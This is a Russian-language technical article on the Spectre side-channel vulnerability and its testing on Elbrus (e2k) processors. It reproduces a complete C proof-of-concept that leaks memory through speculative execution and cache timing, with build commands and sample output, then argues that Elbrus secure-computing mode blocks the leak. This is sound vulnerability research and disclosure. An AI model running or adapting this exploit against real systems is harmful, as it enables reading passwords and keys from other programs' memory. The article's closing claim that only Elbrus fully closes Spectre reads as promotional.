Закрытие уязвимости Spectre в режиме безопасных вычислений на Эльбрусе
Что такое уязвимость Spectre?
Spectre относится к аппаратным уязвимостям и проявляется на уровне спекулятивных вычислений в CPU. Это непреднамеренная ошибка, которая возникла в погоне за повышением производительности. Поднять производительность процессоров можно разными способами, например, увеличить количество транзисторов или усовершенствовать вычислительную часть. Одним из способов увеличить производительность стали спекулятивные вычисления, появившиеся ещё в Intel Pentium II в 1997 году.
Спекулятивное выполнение — это способ оптимизации, когда проводятся опережающие вычисления, то есть компьютер выполняет определенную задачу, которая, в итоге, может оказаться ненужной. Суть спекулятивного вычисления в том, что процессор использует предсказатель ветвлений при исполнении задач. Предсказатель ветвления или предсказатель переходов (Branch Predictor Unit, BPU) — это механизм в современных микропроцессорах, предназначенный для оптимизации производительности путем попытки предсказать исход условных переходов (ветвлений) в коде программы до того, как исход этого перехода станет известен.
Допустим, есть задача Х. CPU предполагает, что результатом её вычисления будут значения A, B, C, D. Если в результате вычислений подойдет одно из предсказанных значений, то процессор запомнит результат и будет использовать его в дальнейшем, не тратя время на повторные вычисления.

Если же ни один из предполагаемых результатов не будет верным, то придется проводить вычисления. Если задача повторяется регулярно, а результат всегда один и тот же, то процессор запоминает значения и подставляет их, не тратя больше время на вычисления. В условиях экономии на транзисторах и повышенных требований к быстродействию, спекулятивные вычисления — хорошее решение.
Но тут появляется лазейка для вредоносных программ-шпионов. Поскольку предсказатель ветвлений обучается, Spectre может использовать спекулятивные вычисления, чтобы пробраться в код, в затем в оперативную память и данные об исполняемых программах. Уязвимость тренирует предсказатель ветвлений таким образом, чтобы он пропустил часть исполняемого кода без проверки. В результате хакеры получают доступ к информации из оперативной памяти.

Проникнуть в оперативную память может через:
Нативный код;
Исполняемый в браузере JavaScript код;
Механизм ядра ОС Linux eBPF.
Также есть разновидность атаки, которая реализуется по сети и не требуют локального исполнения кода. Но если для большинства пользователей такая аппаратная уязвимость не несет угрозы, то в сфере критически важной и секретной информации Spectre — большая беда. Пробравшись, например, в серверы банков, Spectre может достать из оперативной памяти логины, пароли, ключи шифрования и другую информацию, которая должна сохраняться в тайне. Компании и государственные ведомства, которые работают с секретной информацией, тоже рискуют потерять критически важные данные, если через процессоры к ним пролезет Spectre. Ошибка обнаружена во всех архитектурах — Intel, AMD и ARM. А в 2023 году и в RISC-V.
Как Spectre проникает в данные: рассматриваем на примере кода для архитектуры е2к
Для того, чтобы атаковать компьютер через Spectre, злоумышленникам нужно манипулировать внутренним состоянием процессора таким образом, чтобы он начал предсказывать выполнение выгодных для хакера инструкций. Атаки типа Spectre дают возможность обойти программную защиту и получить несанкционированный доступ к данным.
Рассмотрим код, демонстрирующий подобную уязвимость: https://github.com/numas13/spectre2k
Этот код предназначен для считывания секретной строки (secret) путем манипулирования кэшем процессора.
cpp
#include
#include
#include
#include
#include
#include
#include // функции, зависящие от архитектуры.
/*
Макрос black_box используется для предотвращения оптимизации компилятором значения переменной. Он использует вставки на языке ассемблера, чтобы гарантировать, что значение будет обрабатываться как «черный ящик», то есть его внутренняя работа будет скрыта от компилятора.
*/
#define black_box(value) ({ \
uint64_t ret = value; \
asm("" : "+r"(ret)); \
ret; \
})
/*
Макрос black_box_mem работает аналогично макросу black_box, но предназначен для предотвращения оптимизации доступа к памяти.
*/
#define black_box_mem(value) asm("" : : "m"(value))
#define CACHE_LINE_SIZE 64 // Размер строки кэша
#define MAP_SIZE (256 * CACHE_LINE_SIZE) // Размер области памяти, используемой в качестве буфера
/*
Макрос, считывающий количество тактовых циклов с помощью инструкций ассемблера, используется для измерения времени.
*/
#define clk() ({ \
uint64_t ret; \
asm volatile("rrd %%clkr,%0" : "=r"(ret)); \
ret; \
})
static char secret[] = "Hello OpenE2K"; // Секрет, доступ к которому будет получен в ходе атаки.
static uint8_t *map; // Указатель на массив, используемый для отображения строк кэша.
/*
Функция spectre_sw_impl () демонстрирует спекулятивное исполнение.
Условие if (**c) всегда ложно, но из-за спекулятивного выполнения процессор все равно может выполнить инструкции внутри этого блока.
map[(size_t) map[i] * CACHE_LINE_SIZE]++ обращается к определенному индексу в map, что потенциально приводит к попаданию в кэш на основе ранее прочитанных данных.
*/
void spectre_sw_impl(bool **c, uint8_t *map, size_t i) {
// NOTE: condition is always false
if (**c) {
// NOTE: You might think that this block will never be executed, but you are wrong!
// (only the last store instruction will not be executed)
map[(size_t) map[i] * CACHE_LINE_SIZE]++;
}
}
// предотвращает инлайнинг функции spectre_sw_impl
void (*spectre_sw)(bool **c, uint8_t *map, size_t i) = &spectre_sw_impl;
/*
Функция cache_flush () очищает строки кэша
*/
static inline void cache_flush(const void *p, size_t l) {
for (size_t i = 0; i < l; i += CACHE_LINE_SIZE) {
__builtin_storemas_64u(0, (void*) p + i, 0xf, 2);
}
}
/*
Функция find () используется для определения, какой байт соответствует определенному индексу в закэшированных данных.
Это достигается за счет измерения времени доступа к различным индексам в области памяти map, используя разницу во времени, чтобы определить, к какому байту был получен доступ во время спекулятивного выполнения.
*/
static int64_t find(const uint8_t *map) {
uint64_t min = UINT64_MAX;
uint8_t value = 0;
uint64_t acc = 0;
for (int i = 0; i < 256; ++i) {
uint64_t time = clk();
acc += map[map[black_box(i) * CACHE_LINE_SIZE]];
time = clk() - time;
value = time < min ? i : value;
min = time < min ? time : min;
black_box_mem(time); // XXX: hack for clang+lccrt
}
acc = (acc << 8) | value;
return min > 32 ? -acc : acc;
}
/*
Функция get_byte () извлекает байт по указанному адресу.
Сначала происходит очистка кэша памяти, после чего выполняется «разогрев» области памяти map, что позволяет получить фактический байт из памяти вызовом функции find ().
*/
static int get_byte(uintptr_t target) {
bool always_false = false, *c1 = &always_false, **cond = &c1;
cache_flush(map, MAP_SIZE);
// warmup page cache
for (int i = 0; i < 10; ++i)
spectre_sw(cond, map, target - (uintptr_t) map);
return find(map);
}
/*
Функция main () управляет выполнением:
Сначала инициализируется целевой адрес и выделяется память для массива map
Затем происходит попытка считать байты из секретной строки, используя ранее определенные функции get_byte (), find ()
и выводит результат как в шестнадцатеричном, так и в символьном форматах.
*/
int main(int argc, char *argv[]) {
uintptr_t target = (uintptr_t) secret;
size_t secret_len = strlen(secret);
size_t len = argc > 2 ? strtoul(argv[2], NULL, 10) : secret_len;
if (argc > 1) {
const char *s = argv[1];
if (s[0] == '0' && s[1] == 'x')
s += 2;
target = strtoul(s, NULL, 16);
}
map = aligned_alloc(CACHE_LINE_SIZE, MAP_SIZE);
memset(map, 0, MAP_SIZE);
printf("usage: %s 0x%lx %lu\n", argv[0], target, len);
putchar('\n');
printf("secret address: %p\n", secret);
printf("secret len: %lu\n", secret_len);
printf("secret data: \"%s\"\n", secret);
putchar('\n');
printf("target address: 0x%lx\n", target);
printf("target len: %lu\n", len);
printf("target data:\n\n");
#define WIDTH 16
for (size_t i = 0; i < len; i += WIDTH) {
int16_t buffer[WIDTH];
for (size_t j = 0; j < WIDTH; ++j) {
buffer[j] = get_byte((uintptr_t) target + i + j);
}
printf("%016lx |", target + i);
for (size_t j = 0; j < WIDTH; ++j) {
if (buffer[j] >= 0) {
printf(" %02x", (uint8_t) buffer[j]);
} else {
printf(" ..");
}
}
printf(" | ");
for (size_t j = 0; j < WIDTH; ++j) {
if (buffer[j] >= 0 && isprint(buffer[j])) {
printf("%c", (uint8_t) buffer[j]);
} else {
printf(".");
}
}
printf("\n");
}
free(map);
return EXIT_SUCCESS;
}
Решения по закрытию уязвимости Spectre на процессорах Intel, AMD, ARM
Поскольку Spectre — аппаратная уязвимость, закрыть её практически невозможно. На данный момент есть два варианта:
Со стороны пользователей: пересборка ПО при помощи новых компиляторов с заменой уязвимых последовательностей машинного кода. Это так называемый механизм «retpoline», реализован в GCC и Clang/LLVM.
Со стороны производителей: исправление микрокода процессора или добавление новых инструкций в будущих версиях процессоров. Производители ПО пытаются закрыть уязвимость, исправляя ядро систем или добавляя программные заплатки. Но после обновления Microsoft, в котором попытались закрыть Spectre, производительность процессоров упала почти на 40%. Многие пользователи предпочли отключить обновления с защитой от Spectre, чтобы восстановить мощность CPU.
Еще в январе 2018 года Microsoft опубликовала данные о том, как обновления для борьбы со Spectre влияют на производительность CPU. По словам компании, разница очень незначительная, буквально несколько пунктов в пределах погрешности. Однако тесты, проведенные пользователями, показали, что при проверке бенчмарками CrystalMark и AS SSD производительность твердотельных накопителей падает на 70% и на 26%! Может быть в повседневном частном использовании это и не будет заметно, но для серверных систем такие просадки в производительности критичны.
Получается, данная уязвимость сильнее всего бьет по серверам, СХД, банковским службам и КИИ. То есть по тем сферам, где защита данных особенно важна.
Проверка процессоров Эльбрус на уязвимость Spectre
Поскольку уязвимость Spectre затрагивает все процессоры со спекулятивными исполнениями, вопрос о том, есть ли она в ЦП семейства Эльбрус, интересовал многих.
В августе 2024 года пользователь numas13 предоставил Proof-Of-Concept в репозитории https://github.com/numas13/spectre2k, который помог проверить процессоры семейства Эльбрус на аппаратную уязвимость Spectre. Результаты оказались предсказуемыми.
У процессоров Эльбрус уязвимости Spectre нет на аппаратном уровне, но она проявляется на уровне компилятора. Тесты по выявлению уязвимости проводились в обычном режиме на процессорах поколений v4 (8C), v5 (8СВ), v6 (2С3), а также компиляторах версии lcc 1.26, lcc 1.27, lcc 1.28 и clang13 и показали, что злоумышленники могут получить доступ к данным из оперативной памяти.
Вот результаты тестов, проведенных компанией НИЦ ЦТ:
Компиляция программы:
sh
lcc -O1 main.c -o spectre2k
Использование программы: ./spectre2k 0x13080 13
sh
$ lcc -O2 main.c -o spectre2k
$ ./spectre2k
Можно передать адрес памяти и длину блока памяти для чтения:
sh
$ ./spectre2k 0x13070 32
Результат выполнения программы:
usage: ./spectre2k 0x13070 32
secret address: 0x13080
secret len: 13
secret data: "Hello OpenE2K"
target address: 0x13070
target len: 32
target data:
0000000000013070 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
0000000000013080 | 48 65 6c 6c 6f 20 4f 70 65 6e 45 32 4b 00 00 00 | Hello OpenE2K...
Без оптимизации компилятора уязвимость не проявляется, потому что компилятор не будет генерировать спекулятивное чтение из памяти.
sh
$ lcc -O1 main.c -o spectre2k
Результат выполнения программы:
$ ./spectre2k
usage: ./spectre2k 0x13080 13
secret address: 0x13080
secret len: 13
secret data: "Hello OpenE2K"
target address: 0x13080
target len: 13
target data:
0000000000013080 | .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. | ................
В режиме защищенных вычислений уязвимость также не проявляется:
sh
$ lcc -mptr128 -O3 main.c -o spectre2k
Результат выполнения программы:
$ ./spectre2k
usage: ./spectre2k-o3-p 0x501800e0 13
secret address: 0x501800e0
secret len: 13
secret data: "Hello OpenE2K"
target address: 0x501800e0
target len: 13
target data:
00000000501800e0 | .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. | ................
Результаты тестирования разных моделей процессоров Эльбрус представлены в таблице:

Также в ходе тестирования было определено, что чем выше уровень оптимизации программ, тем выше риск проникновения Spectre. Это закономерно, ведь быстродействие системы достигается оптимизацией распараллеливания кода, т.е. за счет тех же спекулятивных вычислений.

Однако в режиме безопасных вычислений (РБВ) никаких угроз выявлено не было. Напомним, что РБВ — фишка процессоров Эльбрус. Наиболее важные особенности этого режима в том, что он контролирует обращения за границами объектов, использование неинициализированных переменных и создание новых указателей и конверсию указателей.
Подобный контроль позволяет обнаруживать сложные ошибки при исполнении программ, которые связаны с переполнением буфера, а также использования случайных данных. Кроме того, РБВ делает невозможным выполнения некоторых программных уязвимостей. На данный момент есть два пути закрытия уязвимости на процессорах Эльбрус:
использование флагов меньшего уровня оптимизации (при уровнях оптимизации -О0 и -О1 Spectre не проявляется, при -О2 и выше — появляется);
использование режима безопасных вычислени
Итог
Защититься от Spectre полностью нельзя — это глубинная аппаратная уязвимость, которую можно закрыть только переходом на другую архитектуру процессоров и отказом от спекулятивных вычислений. Пока же пользователи, которые не хотят терять данные банковских приложений, логины и пароли из оперативной памяти, могут использовать предложенные программные заплатки. Intel, AMD, ARM, Microsoft, Linux и даже Mac выпустили патчи, которые отчасти закрывают уязвимость Spectre.
Для объектов КИИ уязвимость Spectre намного опаснее. И программные заплатки, увы, не панацея, потому что не только не дают полной защиты, но и снижают производительность системы. Получается, что на данный момент только процессоры Эльбрус в режиме безопасных вычислений позволяют полностью закрыть уязвимость Spectre и предотвратить утечки критически важной информации.
Благодарим за внимание! Исследование вопроса уязвимости Spectre в РБВ на процессорах Эльбрус продолжается.
Авторы:
Вячеслав Воронцов, руководитель отдела обеспечения качества;
Михаил Лукашов, старший разработчик;
Толчёнова Мария, редактор.